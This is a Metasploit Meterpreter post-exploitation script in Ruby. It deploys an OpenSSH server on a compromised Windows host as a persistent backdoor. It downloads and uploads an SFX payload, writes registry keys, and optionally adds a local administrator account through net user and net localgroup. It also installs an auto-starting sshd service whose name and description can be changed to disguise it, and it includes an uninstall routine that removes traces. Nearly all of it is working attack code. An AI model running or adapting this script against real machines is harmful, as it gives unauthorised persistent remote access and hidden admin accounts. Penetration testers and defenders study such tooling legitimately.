metasploit-framework/scripts/meterpreter/win32-sshserver.rb

#
# meterpreter-script to deploy + run OpenSSH
# on the target machine
#
# written by Oliver "illegalguy" Kleinecke
# v.1.0 2010-04-25
#

require 'net/http'
meter_type = client.platform
#
# Options
#

@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false, "This help menu"],
  "-f"  => [ true,  "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"],
  "-U"  => [ true, "Download OpenSSH-SFX from given URL"],
  "-u"  => [ true, "Add windows-user (autoadded to local administrators"],
  "-p"  => [ true, "Password for the new user"],
  "-r"  => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"],
  "-I"  => [ true, "Install OpenSSH to the given directory"],
  "-F"  => [ false, "Force overwriting of registry-values"],
  "-S"  => [ true, "Set custom service description"],
  "-N"  => [ true, "Set custom service name"],
  "-m"  => [ true, "Do not start the OpenSSH-service after installation"],
  "-t"  => [ true, "Set start-type of the service to manual (Default: auto)"]
  )

def usage
  print_line("OpenSSH-server deploy+run script")
  print_line("This script will deploy OpenSSH + run the SSH-server as a service")
  print_line(@@exec_opts.usage)
  raise Rex::Script::Completed
end

def createkey(key)
  root_key, base_key = client.sys.registry.splitkey(key)
  open_key = client.sys.registry.create_key(root_key, base_key)
end

def deletekey(key)
  root_key, base_key = client.sys.registry.splitkey(key)
  rtrncode = client.sys.registry.delete_key(root_key, base_key)
  return rtrncode
end

def setval(key, value, data, type = "REG_SZ")
  root_key, base_key = client.sys.registry.splitkey(key)
  open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE)
  open_key.set_value(value, client.sys.registry.type2str(type), data)
end

def queryval(key, value)
  root_key, base_key = client.sys.registry.splitkey(key)
  hkey = client.sys.registry.open_key(root_key, base_key)
  valdata = hkey.query_value(value)
  return valdata.data
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
  print_error("#{meter} version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end

#
# Default values
#
extractfilename = File.join(Msf::Config.data_directory, "/openssh-extract.sfx")
manual = false
username = "none"
password = nil
downloadurl = 'http://updates.metasploit.com/data/win32-ssh/openssh.sfx'
uninstall = nil
installpath = nil
license = 'Please go to https://olex.openlogic.com/licenses/openssh-license for license information!'
extractexe = nil
warning = 'Script stopped. There are openssh/cygwin-registrykeys on the target host. Please uninstall the service(s) first, or use -F!'
forced = nil
servicename = "OpenSSHd"
servicedesc = "OpenSSH-Server"
noauto = false
dirname = nil
type = "auto"


#
# Option parsing
#
@@exec_opts.parse(args) { |opt, idx, val|
  case opt

  when "-h"
    usage

  when "-f"
    if !val
      print_error("-f requires the SFX-filename as argument !")
      usage
    end
    extractfilename = val
    if not ::File.exists?(extractfilename)
      print_error("OpenSSH-SFX not found/accessible!")
      usage
    end
    manual = true

  when "-U"
    if !val
      print_error("-U requires the download-URL for the OpenSSH-SFX as argument !")
      usage
    end
    downloadurl = val

  when "-p"
    if !val
      print_error("-p requires the password (for the windows-user to add) as argument !")
      usage
    end
    if val.length > 14
      print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !")
      usage
    end
    password = val

  when "-u"
    if !val
      print_error("-u requires the username (for the windows-user to add) as argument!")
      usage
    end
    username = val

  when "-r"
    uninstall = true

  when "-I"
    if !val
      print_error("-I requires a directory-name to use as installpath")
      usage
    end
    dirname = val

  when "-F"
    forced = true

  when "-S"
    if !val
      print_error("-S requires s custom string to use as the service-description")
      usage
    end
    servicedesc = val

  when "-N"
    if !val
      print_error("-N requires a custom string to use as service-name")
      usage
    end
    servicename = val

  when "-m"
    noauto = true

  when "-t"
    type = manual

  else
    print_error("Unknown option: #{opt}")
    usage
  end
}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i

#
# Uninstall if selected
#
if uninstall
  username = nil
  servicename = nil
  begin
    dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native")
  rescue
    print_status("Could not find any sshd installed by this script. Please remove manually!")
    deletekey("HKLM\\Software\\Cygnus\ Solutions")
    raise Rex::Script::Completed
  end
  uninstallfile = "#{dirname}\\etc\\uninst.bak"
  uf = client.fs.file.new(uninstallfile, "rb")
  while not uf.eof?
    linesarray = uf.read.split("\r\n")
    username = linesarray[0]
    servicename = linesarray[1]
  end
  uf.close
  # stop sshd-service, delete it, delete user + files afterwards
  print_status("Stopping the #{servicename}-service....")
  client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}")
  sleep 2
  print_status("#{servicename} has been stopped.")
  print_status("Deleting the #{servicename}-service....")
  client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}")
  sleep 1
  print_status("#{servicename} has been deleted.")
  unless username.strip == "none"
    print_status("Deleting user #{username}......")
    client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE")
    print_status("User #{username} has been deleted")
  end
  print_status("Deleting the directory #{dirname}....")
  client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}")
  print_status("#{dirname} has been deleted.")
  print_status("Deleting regkeys ....")
  deletekey("HKLM\\Software\\Cygnus\ Solutions")
  print_status("Registry-keys have been deleted .")
  print_status("Uninstall completed!")
  raise Rex::Script::Completed
end

#
# Check for OpenSSH/Cygwin - Regkeys first and bail out if they exist
#
root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solutions")
open_key = client.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
if ( keys.length > 0)
  if not forced
    print_error(warning)
    raise Rex::Script::Completed
  end
end

#
# If file doesn`t exist and file was not manually specified : auto-download
#

if manual == false
  if not ::File.exists?(extractfilename)
    print_status("openssh-extract.sfx could not be found. Downloading it now...")
    print_status(license)
    extractexe = Net::HTTP.get URI.parse(downloadurl)
    open(extractfilename, "wb") { |fd| fd.write(extractexe) }
    print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.")
    downloaded = true
  end
end

#
# Generate sshd-dir + upload file to client
#
if dirname == nil
  dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}"
  print_status("Creating directory #{dirname}.....")
  client.fs.dir.mkdir(dirname)
else
  if  !::File.exists?(dirname) && !::File.directory?(dirname)
    print_status("Creating directory #{dirname}.....")
    client.fs.dir.mkdir(dirname)
  end
end
fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe"
print_status("Uploading #{extractfilename} to #{fileontrgt}....")
client.fs.file.upload_file(fileontrgt, extractfilename)
print_status("#{extractfilename} successfully uploaded to #{fileontrgt}!")


# Get required infos about the target-system
clientenv = Hash.new
envtxtname = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.txt"
client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}")

fd = client.fs.file.new(envtxtname, "rb")
while not fd.eof?
  linesarray = fd.read.split("\r\n")
  linesarray.each { |line|
    currentline = line.split('=')
    envvarname = currentline[0]
    envvarvalue = currentline[1]
    clientenv[envvarname] = envvarvalue
  }
end
fd.close

# Do not continue if client-os is not valid

unless clientenv["OS"] == 'Windows_NT'
  print_error("This script will run on Windows-NT based OS only!")
  raise Rex::Script::Completed
end


# Extract the files

print_status("Extracting the files ...")
client.sys.process.execute(fileontrgt)
sleep 3
print_status("Files extracted .. ")

#
# Import required registry keys
#
homebase = clientenv["ALLUSERSPROFILE"].slice(0,clientenv["ALLUSERSPROFILE"].rindex('\\'))

createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native", dirname)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "native", homebase)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "native", "#{dirname}/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\Program Options")

#
# Provide ACL for System User
#
client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F")

#
# Add windows-user if requested
#
unless username == "none"
  if password == nil
    print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!")
    usage
  end

  #Get localized name for windows-admin-grp
  admingrpname = nil
  client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt")
  sleep 1
  fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb")
  while not fd.eof?
    linesarray = fd.read.split("\n")
    linesarray.each { |line|
      if line[0..4] =~ /[aA]dmin/
        admingrpname = line.slice!(/[aA]dmin[a-z]+/)
      end
    }
  end
  fd.close
  sleep 2
  client.fs.file.rm("#{dirname}\\groupnames.txt")
  print_line("Adding user #{username}....")
  client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}")
  print_line("Add user #{username} to #{admingrpname}")
  client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD")
end

#
# Generate /etc/passwd + /etc/group files
#
print_status("Generating /etc/passwd + /etc/group files....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkpasswd.exe -l > #{dirname}\\etc\\passwd")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\etc\\group")

#
# Generate SSH-keypairs
#
print_status("Generating SSH-keys .....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t dsa -f /etc/ssh_host_dsa_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa1 -f /etc/ssh_host_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa -f /etc/ssh_host_rsa_key -N \"\"")

#
# Add OpenSSH - Service
#
print_status("Adding OpenSSHd-Service.......")
if type == manual
  client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"")
else
  client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"")
end
print_status("Service successfully installed!")
sleep 2

#
# Save "settings" to txtfile, to be able to del correct user etc afterwards
#
uninstallfile = "#{dirname}\\etc\\uninst.bak"
uf = client.fs.file.new(uninstallfile, "w")
uf.write "#{username} \r\n"
uf.write "#{servicename} \r\n"
uf.close


# Run OpenSSH-service unless noauto was specified
unless noauto
  print_status("Starting OpenSSH-Service....")
  client.sys.process.execute("cmd.exe", "/c net start #{servicename}")
  sleep 1
  print_status("OpenSSHd has been started!")
end

# Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly